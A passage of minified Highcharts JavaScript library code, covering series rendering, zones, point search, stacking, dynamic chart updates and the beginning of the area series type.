r=e[n],l=(t=r.graphic)?"animate":"attr",h=r.marker||{},c=!!r.marker,p=a&&void 0===h.enabled||h.enabled,u=!1!==r.isInside;if(p&&!r.isNull){var f=d(h.symbol,this.symbol);p=this.markerAttribs(r,r.selected&&"select"),t?t[u?"show":"hide"](u).animate(p):u&&(0<p.width||r.hasImage)&&(r.graphic=t=i.renderer.symbol(f,p.x,p.y,p.width,p.height,c?h:s).add(o)),t&&!i.styledMode&&t[l](this.pointAttribs(r,r.selected&&"select")),t&&t.addClass(r.getClassName(),!0)}else t&&(r.graphic=t.destroy())}},markerAttribs:function(t,e){var i=this.options.marker,s=t.marker||{},o=s.symbol||i.symbol,n=d(s.radius,i.radius);return e&&(i=i.states[e],e=s.states&&s.states[e],n=d(e&&e.radius,i&&i.radius,n+(i&&i.radiusPlus||0))),t.hasImage=o&&0===o.indexOf("url"),t.hasImage&&(n=0),t={x:Math.floor(t.plotX)-n,y:t.plotY-n},n&&(t.width=t.height=2*n),t},pointAttribs:function(t,e){var i=this.options.marker,s=t&&t.options,o=s&&s.marker||{},n=this.color,a=s&&s.color,r=t&&t.color;s=d(o.lineWidth,i.lineWidth);var l=t&&t.zone&&t.zone.color;return t=1,n=a||l||r||n,a=o.fillColor||i.fillColor||n,n=o.lineColor||i.lineColor||n,e=e||"normal",i=i.states[e],e=o.states&&o.states[e]||{},s=d(e.lineWidth,i.lineWidth,s+d(e.lineWidthPlus,i.lineWidthPlus,0)),a=e.fillColor||i.fillColor||a,{stroke:n=e.lineColor||i.lineColor||n,"stroke-width":s,fill:a,opacity:t=d(e.opacity,i.opacity,t)}},destroy:function(e){var i,s,o,a=this,r=a.chart,l=/AppleWebKit\/533/.test(M.navigator.userAgent),h=a.data||[];for(y(a,"destroy"),e||w(a),(a.axisTypes||[]).forEach((function(t){(o=a[t])&&o.series&&(n(o.series,a),o.isDirty=o.forceRedraw=!0)})),a.legendItem&&a.chart.legend.destroyItem(a),i=h.length;i--;)(s=h[i])&&s.destroy&&s.destroy();a.points=null,t.clearTimeout(a.animationTimeout),c(a,(function(t,e){t instanceof k&&!t.survive&&t[l&&"group"===e?"hide":"destroy"]()})),r.hoverSeries===a&&(r.hoverSeries=null),n(r.series,a),r.orderSeries(),c(a,(function(t,i){e&&"hcEvents"===i||delete a[i]}))},getGraphPath:function(t,e,i){var s,n,a=this,r=a.options,l=r.step,h=[],c=[];return(s=(t=t||a.points).reversed)&&t.reverse(),(l={right:1,center:2}[l]||l&&3)&&s&&(l=4-l),!r.connectNulls||e||i||(t=this.getValidPoints(t)),t.forEach((function(s,d){var p=s.plotX,u=s.plotY,f=t[d-1];(s.leftCliff||f&&f.rightCliff)&&!i&&(n=!0),s.isNull&&!o(e)&&0<d?n=!r.connectNulls:s.isNull&&!e?n=!0:(0===d||n?d=["M",s.plotX,s.plotY]:a.getPointSpline?d=a.getPointSpline(t,s,d):l?(d=1===l?["L",f.plotX,u]:2===l?["L",(f.plotX+p)/2,f.plotY,"L",(f.plotX+p)/2,u]:["L",p,f.plotY]).push("L",p,u):d=["L",p,u],c.push(s.x),l&&(c.push(s.x),2===l&&c.push(s.x)),h.push.apply(h,d),n=!1)})),h.xMap=c,a.graphPath=h},drawGraph:function(){var t=this,e=this.options,i=(this.gappedPath||this.getGraphPath).call(this),s=this.chart.styledMode,o=[["graph","highcharts-graph"]];s||o[0].push(e.lineColor||this.color||"#cccccc",e.dashStyle),(o=t.getZonesGraphs(o)).forEach((function(o,n){var a=o[0],r=t[a],l=r?"animate":"attr";r?(r.endX=t.preventGraphAnimation?null:i.xMap,r.animate({d:i})):i.length&&(t[a]=r=t.chart.renderer.path(i).addClass(o[1]).attr({zIndex:1}).add(t.group)),r&&!s&&(a={stroke:o[2],"stroke-width":e.lineWidth,fill:t.fillGraph&&t.color||"none"},o[3]?a.dashstyle=o[3]:"square"!==e.linecap&&(a["stroke-linecap"]=a["stroke-linejoin"]="round"),r[l](a).shadow(2>n&&e.shadow)),r&&(r.startX=i.xMap,r.isArea=i.isArea)}))},getZonesGraphs:function(t){return this.zones.forEach((function(e,i){i=["zone-graph-"+i,"highcharts-graph highcharts-zone-graph-"+i+" "+(e.className||"")],this.chart.styledMode||i.push(e.color||this.color,e.dashStyle||this.options.dashStyle),t.push(i)}),this),t},applyZones:function(){var t,e,i,s,o,n,a=this,r=this.chart,l=r.renderer,h=this.zones,c=this.clips||[],p=this.graph,u=this.area,f=Math.max(r.chartWidth,r.chartHeight),g=this[(this.zoneAxis||"y")+"Axis"],m=r.inverted,v=!1;if(h.length&&(p||u)&&g&&void 0!==g.min){var x=g.reversed,y=g.horiz;p&&!this.showLine&&p.hide(),u&&u.hide();var b=g.getExtremes();h.forEach((function(h,w){t=x?y?r.plotWidth:0:y?0:g.toPixels(b.min)||0,t=Math.min(Math.max(d(e,t),0),f),e=Math.min(Math.max(Math.round(g.toPixels(d(h.value,b.max),!0)||0),0),f),v&&(t=e=g.toPixels(b.max)),s=Math.abs(t-e),o=Math.min(t,e),n=Math.max(t,e),g.isXAxis?(i={x:m?n:o,y:0,width:s,height:f},y||(i.x=r.plotHeight-i.x)):(i={x:0,y:m?n:o,width:f,height:s},y&&(i.y=r.plotWidth-i.y)),m&&l.isVML&&(i=g.isXAxis?{x:0,y:x?o:n,height:i.width,width:r.chartWidth}:{x:i.y-r.plotLeft-r.spacingBox.x,y:0,width:i.height,height:r.chartHeight}),c[w]?c[w].animate(i):c[w]=l.clipRect(i),p&&a["zone-graph-"+w].clip(c[w]),u&&a["zone-area-"+w].clip(c[w]),v=h.value>b.max,a.resetZones&&0===e&&(e=void 0)})),this.clips=c}else a.visible&&(p&&p.show(!0),u&&u.show(!0))},invertGroups:function(t){function e(){["group","markerGroup"].forEach((function(e){i[e]&&(s.renderer.isVML&&i[e].attr({width:i.yAxis.len,height:i.xAxis.len}),i[e].width=i.yAxis.len,i[e].height=i.xAxis.len,i[e].invert(t))}))}var i=this,s=i.chart;if(i.xAxis){var o=f(s,"resize",e);f(i,"destroy",o),e(),i.invertGroups=e}},plotGroup:function(t,e,i,s,n){var a=this[t],r=!a;return r&&(this[t]=a=this.chart.renderer.g().attr({zIndex:s||.1}).add(n)),a.addClass("highcharts-"+e+" highcharts-series-"+this.index+" highcharts-"+this.type+"-series "+(o(this.colorIndex)?"highcharts-color-"+this.colorIndex+" ":"")+(this.options.className||"")+(a.hasClass("highcharts-tracker")?" highcharts-tracker":""),!0),a.attr({visibility:i})[r?"attr":"animate"](this.getPlotBox()),a},getPlotBox:function(){var t=this.chart,e=this.xAxis,i=this.yAxis;return t.inverted&&(e=i,i=this.xAxis),{translateX:e?e.left:t.plotLeft,translateY:i?i.top:t.plotTop,scaleX:1,scaleY:1}},render:function(){var t=this,e=t.chart,i=t.options,s=!!t.animate&&e.renderer.isSVG&&g(i.animation).duration,o=t.visible?"inherit":"hidden",n=i.zIndex,a=t.hasRendered,r=e.seriesGroup,l=e.inverted;y(this,"render");var h=t.plotGroup("group","series",o,n,r);t.markerGroup=t.plotGroup("markerGroup","markers",o,n,r),s&&t.animate(!0),h.inverted=!(!t.isCartesian&&!t.invertable)&&l,t.drawGraph&&(t.drawGraph(),t.applyZones()),t.visible&&t.drawPoints(),t.drawDataLabels&&t.drawDataLabels(),t.redrawPoints&&t.redrawPoints(),t.drawTracker&&!1!==t.options.enableMouseTracking&&t.drawTracker(),t.invertGroups(l),!1===i.clip||t.sharedClipKey||a||h.clip(e.clipRect),s&&t.animate(),a||(t.animationTimeout=u((function(){t.afterAnimate()}),s||0)),t.isDirty=!1,t.hasRendered=!0,y(t,"afterRender")},redraw:function(){var t=this.chart,e=this.isDirty||this.isDirtyData,i=this.group,s=this.xAxis,o=this.yAxis;i&&(t.inverted&&i.attr({width:t.plotWidth,height:t.plotHeight}),i.animate({translateX:d(s&&s.left,t.plotLeft),translateY:d(o&&o.top,t.plotTop)})),this.translate(),this.render(),e&&delete this.kdTree},kdAxisArray:["clientX","plotY"],searchPoint:function(t,e){var i=this.xAxis,s=this.yAxis,o=this.chart.inverted;return this.searchKDTree({clientX:o?i.len-t.chartY+i.pos:t.chartX-i.pos,plotY:o?s.len-t.chartX+s.pos:t.chartY-s.pos},e,t)},buildKDTree:function(t){function e(t,s,o){var n;if(n=t&&t.length){var a=i.kdAxisArray[s%o];return t.sort((function(t,e){return t[a]-e[a]})),{point:t[n=Math.floor(n/2)],left:e(t.slice(0,n),s+1,o),right:e(t.slice(n+1),s+1,o)}}}this.buildingKdTree=!0;var i=this,s=-1<i.options.findNearestPointBy.indexOf("y")?2:1;delete i.kdTree,u((function(){i.kdTree=e(i.getValidPoints(null,!i.directTouch),s,s),i.buildingKdTree=!1}),i.options.kdNow||t&&"touchstart"===t.type?0:1)},searchKDTree:function(t,e,i){var s=this,n=this.kdAxisArray[0],a=this.kdAxisArray[1],r=e?"distX":"dist";if(e=-1<s.options.findNearestPointBy.indexOf("y")?2:1,this.kdTree||this.buildingKdTree||this.buildKDTree(i),this.kdTree)return function t(e,i,l,h){var c=i.point,d=s.kdAxisArray[l%h],p=c,u=o(e[n])&&o(c[n])?Math.pow(e[n]-c[n],2):null,f=o(e[a])&&o(c[a])?Math.pow(e[a]-c[a],2):null;return f=(u||0)+(f||0),c.dist=o(f)?Math.sqrt(f):Number.MAX_VALUE,c.distX=o(u)?Math.sqrt(u):Number.MAX_VALUE,u=0>(d=e[d]-c[d])?"right":"left",i[f=0>d?"left":"right"]&&(p=(f=t(e,i[f],l+1,h))[r]<p[r]?f:c),i[u]&&Math.sqrt(d*d)<p[r]&&(p=(e=t(e,i[u],l+1,h))[r]<p[r]?e:p),p}(t,this.kdTree,e,e)},pointPlacementToXValue:function(){var t=this.xAxis,e=this.options.pointPlacement;return"between"===e&&(e=t.reversed?-.5:.5),l(e)&&(e*=d(this.options.pointRange||t.pointRange)),e}})})),e(i,"parts/Stacking.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.destroyObjectProperties,o=e.objectEach,n=e.pick;e=t.Axis;var a=t.Chart,r=t.correctFloat,l=t.format,h=t.Series;t.StackItem=function(t,e,i,s,o){var n=t.chart.inverted;this.axis=t,this.isNegative=i,this.options=e=e||{},this.x=s,this.total=null,this.points={},this.stack=o,this.rightCliff=this.leftCliff=0,this.alignOptions={align:e.align||(n?i?"left":"right":"center"),verticalAlign:e.verticalAlign||(n?"middle":i?"bottom":"top"),y:e.y,x:e.x},this.textAlign=e.textAlign||(n?i?"right":"left":"center")},t.StackItem.prototype={destroy:function(){s(this,this.axis)},render:function(t){var e=this.axis.chart,i=this.options,s=i.format;s=s?l(s,this,e.time):i.formatter.call(this),this.label?this.label.attr({text:s,visibility:"hidden"}):(this.label=e.renderer.label(s,null,null,i.shape,null,null,i.useHTML,!1,"stack-labels"),s={text:s,align:this.textAlign,rotation:i.rotation,padding:n(i.padding,0),visibility:"hidden"},this.label.attr(s),e.styledMode||this.label.css(i.style),this.label.added||this.label.add(t)),this.label.labelrank=e.plotHeight},setOffset:function(t,e,s,o,a){var r=this.axis,l=r.chart;if(o=r.translate(r.usePercentage?100:o||this.total,0,0,0,1),s=r.translate(s||0),s=i(o)&&Math.abs(o-s),t=n(a,l.xAxis[0].translate(this.x))+t,r=i(o)&&this.getStackBox(l,this,t,o,e,s,r),e=this.label,t=this.isNegative,a="justify"===n(this.options.overflow,"justify"),e&&r){s=e.getBBox();var c=l.inverted?t?s.width:0:s.width/2,d=l.inverted?s.height/2:t?-4:s.height+4;this.alignOptions.x=n(this.options.x,0),e.align(this.alignOptions,null,r),o=e.alignAttr,e.show(),o.y-=d,a&&(o.x-=c,h.prototype.justifyDataLabel.call(this.axis,e,this.alignOptions,o,s,r),o.x+=c),o.x=e.alignAttr.x,e.attr({x:o.x,y:o.y}),n(!a&&this.options.crop,!0)&&((l=l.isInsidePlot(e.x+(l.inverted?0:-s.width/2),e.y)&&l.isInsidePlot(e.x+(l.inverted?t?-s.width:s.width:s.width/2),e.y+s.height))||e.hide())}},getStackBox:function(t,e,i,s,o,n,a){var r=e.axis.reversed,l=t.inverted;return t=a.height+a.pos-(l?t.plotLeft:t.plotTop),e=e.isNegative&&!r||!e.isNegative&&r,{x:l?e?s:s-n:i,y:l?t-i-o:e?t-s-n:t-s,width:l?n:o,height:l?o:n}}},a.prototype.getStacks=function(){var t=this,e=t.inverted;t.yAxis.forEach((function(t){t.stacks&&t.hasVisibleSeries&&(t.oldStacks=t.stacks)})),t.series.forEach((function(i){var s=i.xAxis&&i.xAxis.options||{};!i.options.stacking||!0!==i.visible&&!1!==t.options.chart.ignoreHiddenSeries||(i.stackKey=[i.type,n(i.options.stack,""),e?s.top:s.left,e?s.height:s.width].join())}))},e.prototype.buildStacks=function(){var t,e=this.series,i=n(this.options.reversedStacks,!0),s=e.length;if(!this.isXAxis){for(this.usePercentage=!1,t=s;t--;)e[i?t:s-t-1].setStackedPoints();for(t=0;t<s;t++)e[t].modifyStacks()}},e.prototype.renderStackTotals=function(){var t=this.chart,e=t.renderer,i=this.stacks,s=this.stackTotalGroup;s||(this.stackTotalGroup=s=e.g("stack-labels").attr({visibility:"visible",zIndex:6}).add()),s.translate(t.plotLeft,t.plotTop),o(i,(function(t){o(t,(function(t){t.render(s)}))}))},e.prototype.resetStacks=function(){var t=this,e=t.stacks;t.isXAxis||o(e,(function(e){o(e,(function(i,s){i.touched<t.stacksTouched?(i.destroy(),delete e[s]):(i.total=null,i.cumulative=null)}))}))},e.prototype.cleanStacks=function(){if(!this.isXAxis){if(this.oldStacks)var t=this.stacks=this.oldStacks;o(t,(function(t){o(t,(function(t){t.cumulative=t.total}))}))}},h.prototype.setStackedPoints=function(){if(this.options.stacking&&(!0===this.visible||!1===this.chart.options.chart.ignoreHiddenSeries)){var e=this.processedXData,s=this.processedYData,o=[],a=s.length,l=this.options,h=l.threshold,c=n(l.startFromThreshold&&h,0),d=l.stack;l=l.stacking;var p,u,f=this.stackKey,g="-"+f,m=this.negStacks,v=this.yAxis,x=v.stacks,y=v.oldStacks;for(v.stacksTouched+=1,u=0;u<a;u++){var b=e[u],w=s[u],k=this.getStackIndicator(k,b,this.index),M=k.key,S=(p=m&&w<(c?0:h))?g:f;x[S]||(x[S]={}),x[S][b]||(y[S]&&y[S][b]?(x[S][b]=y[S][b],x[S][b].total=null):x[S][b]=new t.StackItem(v,v.options.stackLabels,p,b,d)),S=x[S][b],null!==w?(S.points[M]=S.points[this.index]=[n(S.cumulative,c)],i(S.cumulative)||(S.base=M),S.touched=v.stacksTouched,0<k.index&&!1===this.singleStacks&&(S.points[M][0]=S.points[this.index+","+b+",0"][0])):S.points[M]=S.points[this.index]=null,"percent"===l?(p=p?f:g,m&&x[p]&&x[p][b]?(p=x[p][b],S.total=p.total=Math.max(p.total,S.total)+Math.abs(w)||0):S.total=r(S.total+(Math.abs(w)||0))):S.total=r(S.total+(w||0)),S.cumulative=n(S.cumulative,c)+(w||0),null!==w&&(S.points[M].push(S.cumulative),o[u]=S.cumulative)}"percent"===l&&(v.usePercentage=!0),this.stackedYData=o,v.oldStacks={}}},h.prototype.modifyStacks=function(){var t,e=this,i=e.stackKey,s=e.yAxis.stacks,o=e.processedXData,n=e.options.stacking;e[n+"Stacker"]&&[i,"-"+i].forEach((function(i){for(var a,r,l=o.length;l--;)a=o[l],t=e.getStackIndicator(t,a,e.index,i),(r=(a=s[i]&&s[i][a])&&a.points[t.key])&&e[n+"Stacker"](r,a,l)}))},h.prototype.percentStacker=function(t,e,i){e=e.total?100/e.total:0,t[0]=r(t[0]*e),t[1]=r(t[1]*e),this.stackedYData[i]=t[1]},h.prototype.getStackIndicator=function(t,e,s,o){return!i(t)||t.x!==e||o&&t.key!==o?t={x:e,index:0,key:o}:t.index++,t.key=[s,e,t.index].join(),t}})),e(i,"parts/Dynamics.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.erase,o=e.extend,n=e.isArray,a=e.isNumber,r=e.isObject,l=e.isString,h=e.objectEach,c=e.pick,d=e.setAnimation,p=e.splat,u=t.addEvent,f=t.animate,g=t.Axis;e=t.Chart;var m=t.createElement,v=t.css,x=t.fireEvent,y=t.merge,b=t.Point,w=t.Series,k=t.seriesTypes;t.cleanRecursively=function(e,i){var s={};return h(e,(function(o,n){r(e[n],!0)&&!e.nodeType&&i[n]?(o=t.cleanRecursively(e[n],i[n]),Object.keys(o).length&&(s[n]=o)):(r(e[n])||e[n]!==i[n])&&(s[n]=e[n])})),s},o(e.prototype,{addSeries:function(t,e,i){var s,o=this;return t&&(e=c(e,!0),x(o,"addSeries",{options:t},(function(){s=o.initSeries(t),o.isDirtyLegend=!0,o.linkSeries(),x(o,"afterAddSeries",{series:s}),e&&o.redraw(i)}))),s},addAxis:function(t,e,i,s){return this.createAxis(e?"xAxis":"yAxis",{axis:t,redraw:i,animation:s})},addColorAxis:function(t,e,i){return this.createAxis("colorAxis",{axis:t,redraw:e,animation:i})},createAxis:function(e,i){var s=this.options,o="colorAxis"===e,n=i.redraw,a=i.animation;i=y(i.axis,{index:this[e].length,isX:"xAxis"===e});var r=o?new t.ColorAxis(this,i):new g(this,i);return s[e]=p(s[e]||{}),s[e].push(i),o&&(this.isDirtyLegend=!0,this.axes.forEach((function(t){t.series=[]})),this.series.forEach((function(t){t.bindAxes(),t.isDirtyData=!0}))),c(n,!0)&&this.redraw(a),r},showLoading:function(t){var e=this,i=e.options,s=e.loadingDiv,n=i.loading,a=function(){s&&v(s,{left:e.plotLeft+"px",top:e.plotTop+"px",width:e.plotWidth+"px",height:e.plotHeight+"px"})};s||(e.loadingDiv=s=m("div",{className:"highcharts-loading highcharts-loading-hidden"},null,e.container),e.loadingSpan=m("span",{className:"highcharts-loading-inner"},null,s),u(e,"redraw",a)),s.className="highcharts-loading",e.loadingSpan.innerHTML=c(t,i.lang.loading,""),e.styledMode||(v(s,o(n.style,{zIndex:10})),v(e.loadingSpan,n.labelStyle),e.loadingShown||(v(s,{opacity:0,display:""}),f(s,{opacity:n.style.opacity||.5},{duration:n.showDuration||0}))),e.loadingShown=!0,a()},hideLoading:function(){var t=this.options,e=this.loadingDiv;e&&(e.className="highcharts-loading highcharts-loading-hidden",this.styledMode||f(e,{opacity:0},{duration:t.loading.hideDuration||100,complete:function(){v(e,{display:"none"})}})),this.loadingShown=!1},propsRequireDirtyBox:"backgroundColor borderColor borderWidth borderRadius plotBackgroundColor plotBackgroundImage plotBorderColor plotBorderWidth plotShadow shadow".split(" "),propsRequireReflow:"margin marginTop marginRight marginBottom marginLeft spacing spacingTop spacingRight spacingBottom spacingLeft".split(" "),propsRequireUpdateSeries:"chart.inverted chart.polar chart.ignoreHiddenSeries chart.type colors plotOptions time tooltip".split(" "),collectionsWithUpdate:"xAxis yAxis zAxis colorAxis series pane".split(" "),update:function(e,s,o,n){var r,d,u,f=this,g={credits:"addCredits",title:"setTitle",subtitle:"setSubtitle",caption:"setCaption"},m=e.isResponsiveOptions,v=[];if(x(f,"update",{options:e}),m||f.setResponsive(!1,!0),e=t.cleanRecursively(e,f.options),y(!0,f.userOptions,e),r=e.chart){if(y(!0,f.options.chart,r),"className"in r&&f.setClassName(r.className),"reflow"in r&&f.setReflow(r.reflow),"inverted"in r||"polar"in r||"type"in r){f.propFromSeries();var b=!0}"alignTicks"in r&&(b=!0),h(r,(function(t,e){-1!==f.propsRequireUpdateSeries.indexOf("chart."+e)&&(d=!0),-1!==f.propsRequireDirtyBox.indexOf(e)&&(f.isDirtyBox=!0),m||-1===f.propsRequireReflow.indexOf(e)||(u=!0)})),!f.styledMode&&"style"in r&&f.renderer.setStyle(r.style)}!f.styledMode&&e.colors&&(this.options.colors=e.colors),e.plotOptions&&y(!0,this.options.plotOptions,e.plotOptions),e.time&&this.time===t.time&&(this.time=new t.Time(e.time)),h(e,(function(t,e){f[e]&&"function"==typeof f[e].update?f[e].update(t,!1):"function"==typeof f[g[e]]&&f[g[e]](t),"chart"!==e&&-1!==f.propsRequireUpdateSeries.indexOf(e)&&(d=!0)})),this.collectionsWithUpdate.forEach((function(t){if(e[t]){if("series"===t){var s=[];f[t].forEach((function(t,e){t.options.isInternal||s.push(c(t.options.index,e))}))}p(e[t]).forEach((function(e,n){(n=i(e.id)&&f.get(e.id)||f[t][s?s[n]:n])&&n.coll===t&&(n.update(e,!1),o&&(n.touched=!0)),!n&&o&&f.collectionsWithInit[t]&&(f.collectionsWithInit[t][0].apply(f,[e].concat(f.collectionsWithInit[t][1]||[]).concat([!1])).touched=!0)})),o&&f[t].forEach((function(t){t.touched||t.options.isInternal?delete t.touched:v.push(t)}))}})),v.forEach((function(t){t.remove&&t.remove(!1)})),b&&f.axes.forEach((function(t){t.update({},!1)})),d&&f.series.forEach((function(t){t.update({},!1)})),e.loading&&y(!0,f.options.loading,e.loading),b=r&&r.width,r=r&&r.height,l(r)&&(r=t.relativeLength(r,b||f.chartWidth)),u||a(b)&&b!==f.chartWidth||a(r)&&r!==f.chartHeight?f.setSize(b,r,n):c(s,!0)&&f.redraw(n),x(f,"afterUpdate",{options:e,redraw:s,animation:n})},setSubtitle:function(t,e){this.applyDescription("subtitle",t),this.layOutTitles(e)},setCaption:function(t,e){this.applyDescription("caption",t),this.layOutTitles(e)}}),e.prototype.collectionsWithInit={xAxis:[e.prototype.addAxis,[!0]],yAxis:[e.prototype.addAxis,[!1]],colorAxis:[e.prototype.addColorAxis,[!1]],series:[e.prototype.addSeries]},o(b.prototype,{update:function(t,e,i,s){function o(){a.applyOptions(t),null===a.y&&h&&(a.graphic=h.destroy()),r(t,!0)&&(h&&h.element&&t&&t.marker&&void 0!==t.marker.symbol&&(a.graphic=h.destroy()),t&&t.dataLabels&&a.dataLabel&&(a.dataLabel=a.dataLabel.destroy()),a.connector&&(a.connector=a.connector.destroy())),n=a.index,l.updateParallelArrays(a,n),p.data[n]=r(p.data[n],!0)||r(t,!0)?a.options:c(t,p.data[n]),l.isDirty=l.isDirtyData=!0,!l.fixedBox&&l.hasCartesianSeries&&(d.isDirtyBox=!0),"point"===p.legendType&&(d.isDirtyLegend=!0),e&&d.redraw(i)}var n,a=this,l=a.series,h=a.graphic,d=l.chart,p=l.options;e=c(e,!0),!1===s?o():a.firePointEvent("update",{options:t},o)},remove:function(t,e){this.series.removePoint(this.series.data.indexOf(this),t,e)}}),o(w.prototype,{addPoint:function(t,e,i,s,o){var n=this.options,a=this.data,r=this.chart,l=this.xAxis;l=l&&l.hasNames&&l.names;var h,d=n.data,p=this.xData;e=c(e,!0);var u={series:this};this.pointClass.prototype.applyOptions.apply(u,[t]);var f=u.x,g=p.length;if(this.requireSorting&&f<p[g-1])for(h=!0;g&&p[g-1]>f;)g--;this.updateParallelArrays(u,"splice",g,0,0),this.updateParallelArrays(u,g),l&&u.name&&(l[f]=u.name),d.splice(g,0,t),h&&(this.data.splice(g,0,null),this.processData()),"point"===n.legendType&&this.generatePoints(),i&&(a[0]&&a[0].remove?a[0].remove(!1):(a.shift(),this.updateParallelArrays(u,"shift"),d.shift())),!1!==o&&x(this,"addPoint",{point:u}),this.isDirtyData=this.isDirty=!0,e&&r.redraw(s)},removePoint:function(t,e,i){var s=this,o=s.data,n=o[t],a=s.points,r=s.chart,l=function(){a&&a.length===o.length&&a.splice(t,1),o.splice(t,1),s.options.data.splice(t,1),s.updateParallelArrays(n||{series:s},"splice",t,1),n&&n.destroy(),s.isDirty=!0,s.isDirtyData=!0,e&&r.redraw()};d(i,r),e=c(e,!0),n?n.firePointEvent("remove",null,l):l()},remove:function(t,e,i,s){function o(){n.destroy(s),n.remove=null,a.isDirtyLegend=a.isDirtyBox=!0,a.linkSeries(),c(t,!0)&&a.redraw(e)}var n=this,a=n.chart;!1!==i?x(n,"remove",null,o):o()},update:function(e,i){e=t.cleanRecursively(e,this.userOptions),x(this,"update",{options:e});var s,n=this,a=n.chart,r=n.userOptions,l=n.initialType||n.type,h=e.type||r.type||a.options.chart.type,d=!(this.hasDerivedData||e.dataGrouping||h&&h!==this.type||void 0!==e.pointStart||e.pointInterval||e.pointIntervalUnit||e.keys),p=k[l].prototype,u=["group","markerGroup","dataLabelsGroup","transformGroup"],f=["eventOptions","navigatorSeries","baseSeries"],g=n.finishedAnimating&&{animation:!1},m={};for(s in d&&(f.push("data","isDirtyData","points","processedXData","processedYData","xIncrement","_hasPointMarkers","_hasPointLabels","mapMap","mapData","minY","maxY","minX","maxX"),!1!==e.visible&&f.push("area","graph"),n.parallelArrays.forEach((function(t){f.push(t+"Data")})),e.data&&this.setData(e.data,!1)),e=y(r,g,{index:void 0===r.index?n.index:r.index,pointStart:c(r.pointStart,n.xData[0])},!d&&{data:n.options.data},e),d&&e.data&&(e.data=n.options.data),(f=u.concat(f)).forEach((function(t){f[t]=n[t],delete n[t]})),n.remove(!1,null,!1,!0),p)n[s]=void 0;if(k[h||l]?o(n,k[h||l].prototype):t.error(17,!0,a,{missingModuleFor:h||l}),f.forEach((function(t){n[t]=f[t]})),n.init(a,e),d&&this.points){var v=n.options;!1===v.visible?(m.graphic=1,m.dataLabel=1):n._hasPointLabels||(h=v.marker,p=v.dataLabels,h&&(!1===h.enabled||"symbol"in h)&&(m.graphic=1),p&&!1===p.enabled&&(m.dataLabel=1)),this.points.forEach((function(t){t&&t.series&&(t.resolveColor(),Object.keys(m).length&&t.destroyElements(m),!1===v.showInLegend&&t.legendItem&&a.legend.destroyItem(t))}),this)}e.zIndex!==r.zIndex&&u.forEach((function(t){n[t]&&n[t].attr({zIndex:e.zIndex})})),n.initialType=l,a.linkSeries(),x(this,"afterUpdate"),c(i,!0)&&a.redraw(!!d&&void 0)},setName:function(t){this.name=this.options.name=this.userOptions.name=t,this.chart.isDirtyLegend=!0}}),o(g.prototype,{update:function(t,e){var i=this.chart,s=t&&t.events||{};t=y(this.userOptions,t),i.options[this.coll].indexOf&&(i.options[this.coll][i.options[this.coll].indexOf(this.userOptions)]=t),h(i.options[this.coll].events,(function(t,e){void 0===s[e]&&(s[e]=void 0)})),this.destroy(!0),this.init(i,o(t,{events:s})),i.isDirtyBox=!0,c(e,!0)&&i.redraw()},remove:function(t){for(var e=this.chart,i=this.coll,o=this.series,a=o.length;a--;)o[a]&&o[a].remove(!1);s(e.axes,this),s(e[i],this),n(e.options[i])?e.options[i].splice(this.options.index,1):delete e.options[i],e[i].forEach((function(t,e){t.options.index=t.userOptions.index=e})),this.destroy(),e.isDirtyBox=!0,c(t,!0)&&e.redraw()},setTitle:function(t,e){this.update({title:t},e)},setCategories:function(t,e){this.update({categories:t},e)}})})),e(i,"parts/AreaSeries.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.objectEach,s=e.pick,o=t.color,n=t.Series;(e=t.seriesType)("area","line",{softThreshold:!1,threshold:0},{singleStacks:!1,getStackPoints:function(t){var e,o=[],n=[],a=this.xAxis,r=this.yAxis,l=r.stacks[this.stackKey],h={},c=this.index,d=r.series,p=d.length,u=s(r.options.reversedStacks,!0)?1:-1;if(t=t||this.points,this.options.stacking){for(e=0;e<t.length;e++)t[e].leftNull=t[e].rightNull=void 0,h[t[e].x]=t[e];i(l,(function(t,e){null!==t.total&&n.push(e)})),n.sort((function(t,e){return t-e}));var f=d.map((function(t){return t.visible}));n.forEach((function(t,i){var s,d,g=0;if(h[t]&&!h[t].isNull)o.push(h[t]),[-1,1].forEach((function(o){var a=1===o?"rightNull":"leftNull",r=0,g=l[n[i+o]];if(g)for(e=c;0<=e&&e<p;)(s=g.points[e])||(e===c?h[t][a]=!0:f[e]&&(d=l[t].points[e])&&(r-=d[1]-d[0])),e+=u;h[t][1===o?"rightCliff":"leftCliff"]=r}));else{for(e=c;0<=e&&e<p;){if(s=l[t].points[e]){g=s[1];break}e+=u}g=r.translate(g,0,1,0,1),o.push({isNull:!0,plotX:a.translate(t,0,0,0,1),x:t,plotY:g,yBottom:g})}}))}return o},getGraphPath:function(t){var e,i=n.prototype.getGraphPath,o=this.options,a=o.stacking,r=this.yAxis,l=[],h=[],c=this.index,d=r.stacks[this.stackKey],p=o.threshold,u=Math.round(r.getThreshold(o.threshold));o=s(o.connectNulls,"percent"===a);var f=function(e,i,s){var o=t[e];e=a&&d[o.x].points[c];var n=o[s+"Null"]||0;if(s=o[s+"Cliff"]||0,o=!0,s||n){var f=(n?e[0]:e[1])+s,g=e[0]+s;o=!!n}else!a&&t[i]&&t[i].isNull&&(f=g=p);void 0!==f&&(h.push({plotX:m,plotY:null===f?u:r.getThreshold(f),isNull:o,isCliff:!0}),l.push({plotX:m,plotY:null===g?u:r.getThreshold(g),doCurve:!1}))};for(t=t||this.points,a&&(t=this.getStackPoints(t)),e=0;e<t.length;e++){a||(t[e].leftCliff=t[e].rightCliff=t[e].leftNull=t[e].rightNull=void 0);var g=t[e].isNull,m=s(t[e].rectPlotX,t[e].plotX),v=s(t[e].yBottom,u);g&&!o||(o||f(e,e-1,"left"),g&&!a&&o||(h.push(t[e]),l.push({x:e,plotX:m,plotY:v})),o||f(e,e+1,"right"))}return e=i.call(this,h,!0,!0),l.reversed=!0,(g=i.call(this,l,!0,!0)).length&&(g[0]="L"),g=e.concat(g),i=i.call(this,h,!1,o),g.xMap=e.xMap,this.areaPath=g,i},drawGraph:function(){this.areaPath=[],n.prototype.drawGraph.apply(this);var t=this,e=this.areaPath,i=this.options,a=[["area","highcharts-area",this.color,i.fillColor]];this.zones.forEach((function(e,s){a.push(["zone-area-"+s,"highcharts-area highcharts-zone-area-"+s+" "+e.className,e.color||t.color,e.fillColor||i.fillColor])})),a.forEach((function(n){var 